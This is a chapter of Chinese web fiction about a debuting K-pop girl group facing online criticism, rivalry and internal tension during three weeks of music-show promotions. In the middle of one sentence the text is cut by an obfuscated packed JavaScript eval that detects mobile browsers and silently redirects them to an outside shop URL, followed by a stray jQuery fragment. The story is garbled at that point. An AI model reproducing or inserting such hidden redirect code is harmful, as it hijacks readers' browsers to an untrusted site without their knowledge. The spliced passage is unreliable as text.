打歌第一周日程排得密不透风。
M!Countdown、音乐银行、人气歌谣轮番轮转，每天清晨天还未亮就要出门妆造，深夜才能够回到宿舍。大巴车往返于公司与放送局之间，车窗外面永远是尚未完全苏醒或是沉沉入夜的首尔。
放送局的后台永远像一座永不停歇的蜂箱。长长的走廊两侧一间挨着一间待机室，各家团体的音乐断断续续从门缝飘出来，工作人员抱着道具、提词板来回奔走，对讲机的声响此起彼伏。
第一天录制音乐银行，她们在走廊转角迎面撞上IVE。
IVE刚刚凭借《ELEVEN》横扫一位，行程满档，一行人妆容精致，被工作人员簇拥着往前走。两边队伍停下，互相躬身问好。
张元英弯腰的时候发梢轻轻垂落，抬眼时礼貌地弯了弯唇角，简单说了一句后辈加油。安宥真站在侧后方，目光淡淡的扫过七个人，随即跟着队伍匆匆走向属于她们的待机室。擦肩而过的一瞬，无形的竞争感悄然漫上来。
裴真率看着她们走远的背影，小声凑到金智羽身侧。
“她们舞台状态好稳。”
金智羽轻轻抿唇，没有接话。谁心里都清楚，外界时时刻刻都在将她们拿来和同期出道的IVE、Kep1er放在一起比较，每一场直拍，每一条弹幕，都在暗中排定新人的位次。
待机室里，电视实时播放着事前录制的舞台。
隔壁房间传来伴奏，是ATEEZ回归曲《Guerrilla》厚重激昂的前奏，鼓点震得墙面似都微微发颤。偶尔会有前辈路过门口，2PM的黄灿盛抱着剧本匆匆经过，瞥见一屋子新人，隔着门板抬手示意。
墙上挂着的屏幕循环滚动本周打歌榜单，SEVENTEEN《HOT》稳居上游，音源榜单高位依旧盘踞着IU的单曲，新旧艺人在同一片放送局里，奔赴着同一场看不见硝烟的角逐。
首场打歌舞台直播结束，回到待机室。
七个人还没来得及卸下舞台妆，经纪人拿着平板走进来，脸色算不上轻松。
“直拍已经放出去了，评价两极很严重。”
屏幕亮开，韩网论坛评论一条条往下滑。
【歌太割裂了，完全听不懂想表达什么】
【舞蹈看着很乱，编排很散】
【雪允镜头一出来瞬间抓住眼球】
【宋恩雅全程很稳，但看完完全记不住】
【Lily高音是真的强，全靠高音撑着整首歌】
【能不能换一首正常的曲子出道】
空气一点点沉下来。
张圭珍捏着卸妆棉的手指顿住，垂着头一言不发。她本身就极易被外界评价影响，短短十几条恶评，已经压得她肩膀微微绷紧。方才舞台上强撑出来的笑意慢慢褪去，眼底蒙上一层淡淡的沮丧。
“是不是……我们真的做得不够好。”她声音很轻，几乎要融进房间空调的噪音里。
没有人立刻接话。
裴真率往沙发靠背重重一靠，指尖飞快往下划动评论，越看眉头皱得越紧。她原本靠着旺盛的自信心撑着，可铺天盖地对歌曲、对编舞的否定，一点点磨掉心里那股锐气。她心里藏着一丝委屈，无数个日夜反复排练，落到大众眼里，只剩下一句乱糟糟。
“不是我们跳错了，是大家暂时接受不了这种曲风吧。”她低声辩解，语气却连自己都说服不了。
吴海媛拿过平板，快速扫过一大段评论，随后把屏幕按灭。
“纠结网友的说法没有用处。接下来调整表情细节，走位卡点再收紧，把每一场直拍做到更好。”
她说得冷静果决，可指尖攥紧平板边缘，暴露了她心底同样悬着的不安。作为队长，她不能先露出退缩或是迷茫，哪怕夜里躺在床上，翻遍整夜恶评失眠，白天也必须撑起整支队伍的情绪。
Lily安静坐在角落喝水，没有参与对话。她看见了不少夸赞自己高音的留言，可同时也有人尖锐评论，说她的音色和整首歌适配度很低。她摘下耳饰放在桌面，轻轻揉了揉有些沙哑的喉咙，默默点开伴奏，戴着耳机，在心里重新校准每一句歌词的气息。
宋恩雅靠在窗边，隔着玻璃看着楼下放送局往来的车辆。
她也看见了那些评价，“没有记忆点”这句话反复出现在关于她的评论区。
她并不觉得愤怒，只是心里一片清明。观众不会愿意花费时间，透过一张平静无波的面孔，去窥探内里复杂细腻的情绪。镜头需要热烈、需要张扬，需要一眼就能抓住视线的冲击力，而那恰好是她最难做到的事。
她收回目光，低头打开手机，点开刚刚播出的舞台回放，一帧一帧慢慢看自己的动作与神态。
余光不经意一转，落在房间另一侧。
雪允坐在化妆镜前，化妆师正在替她拆去头上华丽的发饰。屏幕上不少人疯狂夸赞她的外形，可也随之衍生出另一种刺耳的声音：只有脸，实力平平，完全是花瓶。
她垂着眼，任由化妆师取下一串又一串亮钻饰品，面上看不出太多情绪，只是放在膝盖上的手，指节慢慢收拢。
漂亮从来不是免死金牌，反而会变成一道牢固的枷锁，旁人轻易便会忽略她日复一日的练习与打磨，只用一张脸定义全部。
她抬眼，镜子里恰好对上宋恩雅望过来的视线。
只是短短一瞬，两人各自移开目光，装作只是无意一瞥。
房间里还有工作人员，还有其他成员，任何多余的对视、多余的安抚，都有可能被旁人捕捉，日后变成网上无端揣测的谈资。
连续三周打歌循环往复。
日复一日同样的妆容，同样的服装，同样的曲目。一遍又一遍站上一模一样的舞台。
舆论非但没有慢慢缓和，争吵反而愈演愈烈。
有人开始拉踩成员，把七个人的直拍播放量一条条列出来对比，划出悬殊的数据差距。谁热度高，谁热度低迷，赤裸裸摊在所有人眼前。粉丝内部慢慢滋生矛盾，为part分配争吵，为镜头多少争执不休。
公司内部也开始做出调整。
企划部开会之后决定，后续几场舞台，适当增加雪允、裴真率的特写镜头时长，缩减后排非核心段落的镜头比重。
拿到新版part分配表那天夜里，练习室气氛微妙。
没有人直白提出反对，可沉默本身就代表着情绪。
休息的时候，金智羽独自坐在垫子上，一遍一遍重复练习
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730929|208957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
属于自己的小段编舞。她看得明白，镜头倾斜之后，留给自己出彩的机会变得更少。心底生出一丝难以言说的不甘，明明同样熬无数个深夜排练，曝光度却有着天壤之别。
她没有当众抱怨，只是休息时越来越习惯一个人待着，不再主动凑在一起说笑打闹。
深夜十一点，全员结束加练。
其他人收拾东西准备返回宿舍，宋恩雅故意放慢动作，最后一个留下来关闭设备。
关掉摄像机电源，偌大练习室只剩下天花板一盏顶灯亮着。
门口忽然传来轻微的脚步声。
雪允没有跟着其他人一起离开。
她扶着门框，站在阴影里。
“大家都坐车走了？”
“嗯，我让她们先出发。”宋恩雅把三脚架归置到墙角。
空旷的练习室回荡着两人轻轻说话的回音，镜面倒映出两道孤单的影子。
窗外远处放送局大楼依旧灯火通明，隐约飘来一首NewJeans《Attention》轻快的旋律，隔着几条街道遥遥传过来。音源榜单最近几乎被她们占据大半，横空出世，迅速席卷大众喜好。
“最近越来越难了。”雪允轻声开口。
“嗯。”
“有时候会忍不住去看那些恶评。”她顿了顿，指尖轻轻蹭着门框冰凉的金属边，“明明已经很努力了，却好像怎么做都不够。”
宋恩雅停下手里动作，转过身看向她。
距离隔了大约四五步。
“大众接受是一件很慢的事。急不来。”
话说出口，连她自己都觉得这样的安慰太过单薄轻飘飘，根本抵不住铺天盖地的流言。
雪允轻轻扯了一下嘴角，算不上笑意。
“有时候会想，如果当初没有选上出道，会不会反而轻松一点。”
这句话落在安静的练习室，轻飘飘，又沉甸甸。
没有人踏入这条路之前，会预想得到聚光灯背后汹涌的恶意。所有人只看见出道之后光鲜亮丽的一面，看不见日复一日被评价、被比较、被随意定义的窒息感。
宋恩雅沉默片刻。
“可是走到现在，已经没有回头路。”
空气安静下来，顶灯的光晕落在地板上。
她们都清楚，一旦踏上这条赛道，退缩就意味着之前几年所有练习时光全部付诸东流。
雪允抬眼，深深看了她一眼，很快又垂下眼睑。
“走吧，再不出去，最后一班回宿舍的大巴就要开走了。”
“好。”
两个人一前一后关灯锁门，走进漆黑的楼道，刻意维持半步的距离，不并肩，不靠近。
大巴车行驶在深夜空旷的公路上。
车厢里面一片安静，大部分成员靠在椅背上闭目小憩。
车窗外零星霓虹飞快向后倒退。
宋恩雅头靠着冰冷的玻璃窗，看着外面一闪而过的灯火。
出道仅仅三周。
鲜花寥寥，浪潮汹涌。
属于她们的这场战争，才刚刚露出残酷的一角。
没有人知道这场漫长的舆论风暴，最后会将这支崭新的女团推向顶峰，或是狠狠拍碎在礁石之上。